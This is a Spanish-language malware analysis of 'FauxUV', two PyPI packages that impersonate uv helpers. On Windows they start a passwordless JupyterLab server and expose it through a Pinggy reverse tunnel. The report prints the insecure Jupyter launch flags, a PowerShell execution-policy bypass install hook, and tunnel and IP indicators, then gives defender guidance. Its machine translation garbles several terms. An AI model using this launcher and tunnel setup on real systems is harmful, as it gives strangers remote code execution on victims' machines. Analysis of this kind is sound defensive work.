TL; DR
Un grupo de paquetes de PyPI tomó prestado el nombre de uv, el rápido y enormemente popular gestor de paquetes de Python basado en Rust, para hacerse pasar por ayudantes de uv. No ofrecen casi ninguna funcionalidad real. En su lugar, lo que traen es una carga útil de Windows que pone en marcha un Servidor JupyterLab con la autenticación desactivada y, en versiones posteriores, lo publica en internet a través de un túnel inverso.
Esa es toda la historia en una sola frase: El nombre de una herramienta de confianza como señuelo, y JupyterLab como motor de ejecución remota de código. Un servidor Jupyter ejecuta cualquier código que escribas en un noebook celda; una lanzada con un token vacío y vinculada a cada interfaz de red es un intérprete abierto que cualquiera que pueda acceder al puerto puede controlar.
Realizamos un seguimiento del clúster como FauxUVLos dos paquetes examinados son: moon-uv (0.0.1-0.0.16) y my-magic-uv-helper (0.0.1), publicado por el mismo operador y disponible en PyPI en el momento del análisis.
| Ecosistema | PyPI |
| Paquetes | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Plataforma dirigida | Windows |
| Comportamiento central | Servidor JupyterLab no autenticado, publicado en internet a través de un túnel inverso. |
| Abuso de herramientas legítimas | uv, JupyterLab, cloudflared, Pinggy |
El atractivo: un nombre en el que ya confías.
uv es una de las herramientas de Python más instaladas de los últimos dos años, por lo que “un asistente para uv” es un paquete que un desarrollador instala sin pensarlo dos veces. FauxUV gasta toda su credibilidad en ese nombre. Los paquetes envuelven el genuino uv instalador de Astral: las URL en la carga útil apuntan a hosts reales y de buena reputación, por lo que un vistazo rápido muestra solo referencias confiables. Ninguno de los paquetes realmente agrega uv funcionalidad; el nombre es todo el disfraz.
JupyterLab como motor RCE
La pieza central de la carga útil es un lanzador que inicia JupyterLab sin ninguna restricción:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Cada bandera elimina una protección, y el script enviado incluso las anota (en chino original): el token vacío “Desactiva las comprobaciones de contraseña y token; cualquiera puede conectarse.” JupyterLab es un IDE legítimo para ciencia de datos, pero no unebook La celda ejecuta código arbitrario por diseño. Configurada de esta manera y vinculada a 0.0.0.0Deja de ser un IDE y se convierte en un shell remoto no autenticado en el host; no se requiere ningún binario de malware personalizado, solo una herramienta convencional apuntando en la dirección equivocada.
Dos elementos de apoyo hacen que esto sea alcanzable y repetible:
- Un activador de instalación silenciosa. Las versiones antiguas ejecutan PowerShell con -Omisión de la política de ejecución directo desde configuración.py on instalación de pip, en segundo plano con errores suprimidos, por lo tanto pepita parece normal. Las versiones posteriores mueven la misma primitiva a un pip-uv herramienta de línea de comandos y eliminar por completo la ejecución automática durante la instalación.
- Un túnel público de sentido inverso. Un servidor en 0.0.0.0 Todavía solo es accesible por hosts que pueden enrutar a la máquina. Un módulo empaquetado abre un [Pinggy](https://pinggy.io/) Túnel inverso SSH que reenvía el puerto local de Jupyter a una dirección pública, eliminando ese límite. El script enviado también incluye, comentado, una ruta alternativa que utiliza Cloudflare. nube con llamarada y netsh Conectar un proxy de puerto a una IP de Linode, documentando el mismo objetivo a través de una infraestructura diferente.
En resumen: basta con instalar el paquete y un equipo con Windows ejecutará un JupyterLab sin contraseña y lo publicará en internet.
Cómo evolucionó FauxUV
Las versiones de FauxUV se lanzaron en rápida sucesión, y el punto de activación de la carga útil se movió a través de ellas, un recordatorio de que una versión marcada rara vez cuenta la historia completa de una línea de paquetes.
| Fase | Source-Connect | Desencadenar | Lo que añade |
|---|---|---|---|
| Gancho de instalación | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py en pip install | Instalación UV + anteponer PATH |
| Entorno de ejecución de la CLI | moon-uv 0.0.5-0.0.13 | pip-uv comando | El lanzador de JupyterLab sin contraseña |
| Túnel | moon-uv 0.0.14-0.0.16 | pip-uv comando | un túnel inverso activo de Pinggy |
Cabe destacar que la ejecución automática durante la instalación fue remoto en las versiones posteriores y más capaces, por lo que un escáner basado únicamente en el ciclo de vida hooks calificaría los lanzamientos más recientes como less arriesgado, exactamente al revés.
Indicadores de compromiso
Confirmado mediante la lectura del código fuente del paquete; puntos finales marcados comentó Están presentes en los archivos, pero no son ejecutados por la versión analizada. Los indicadores de red están desactivados.
| Tipo | Indicador |
|---|---|
| Instalar comando | powershell -ExecutionPolicy Bypass Obteniendo el instalador UV original, en el momento de la instalación de PIP. |
| Indicadores de JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Túnel inverso (activo) | free[.]pinggy[.]io:443 reenvío local 127.0.0.1:8888 |
| Anfitrión del túnel (comentario) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (comentado) | 45[.]79[.]134[.]161 (Linode) vía netsh port-proxy |
| Persistencia | antepone %USERPROFILE%\.local\bin a la ruta del usuario |
Señales de comportamiento que merecen alerta, independientemente de estas cadenas exactas: a instalación de pip que genera PowerShell - Omisión de la política de ejecución; alguna júpiter lanzamiento que combina token=”” con –ip=0.0.0.0; y SSH saliente a *.pingy.io desde una máquina de desarrollo o de integración continua.
Comportamiento observado y procedencia
Los dos paquetes comparten un autor y un método: el nombre de una herramienta de confianza, restricción solo para Windows, ejecución en segundo plano con supresión de errores y dependencia de herramientas de buena reputación, por lo que una revisión rápida muestra solo URL de buena reputación. El código fuente contiene comentarios en chino que describen claramente las banderas relevantes para la seguridad; las reportamos como declaraciones observables en el archivo, no como una afirmación sobre el motivo. permitir_origen valor y un colab.bat El nombre del archivo refleja los flujos de trabajo informales de "compartir mi entorno de ejecución local" que circulan para Google Colab. Cualquiera que sea el origen, el resultado empaquetado es el mismo.
Impacto y orientación para los defensores
¿Quién está expuesto a FauxUV? Desarrolladores de Windows y ejecutores de CI que instalación de pip uno de estos paquetes. Un JupyterLab sin contraseña en 0.0.0.0 Se trata de ejecución remota de código para cualquiera que pueda acceder al puerto; el túnel elimina la limitación de "quién puede acceder". El servidor se ejecuta como el usuario que lo instaló, heredando sus archivos, tokens y credenciales en la nube.
Por qué es fácil pasarlo por alto. Cada cadena de red apunta a un host de buena reputación: Astral, JupyterLab, nube con llamarada, Pinggy, Colab. No hay ningún binario de malware que hashear ni ningún blob ofuscado que decodificar. Tanto el escaneo basado en reputación como el basado en firmas subestiman esto, razón por la cual la pregunta de comportamiento... ¿Qué hace que la máquina haga al instalar este paquete? — es el que lo atrapa.
Dirección:
- Trate cualquier momento de instalación PowerShell - Omisión de la política de ejecución como señal de ruptura de compilación, sea cual sea la URL que obtenga.
- Alerta en júpiter lanzado con un token vacío y –ip=0.0.0.0; esa combinación nunca debería aparecer en una estación de trabajo o servidor.
- Supervise las conexiones SSH salientes a los proveedores de túneles (*.pingy.io, *.trycloudflare.com) desde entornos de desarrollo y CI.
- Instale uv de [su fuente oficial](https://docs.astral.sh/uv/) y desconfíe de los paquetes "auxiliares" de terceros que encapsulan una herramienta que ya es muy fácil de instalar.
- Fije y revise nuevamente las dependencias en cada actualización: una línea de paquete puede incorporar nuevas funcionalidades versión tras versión.



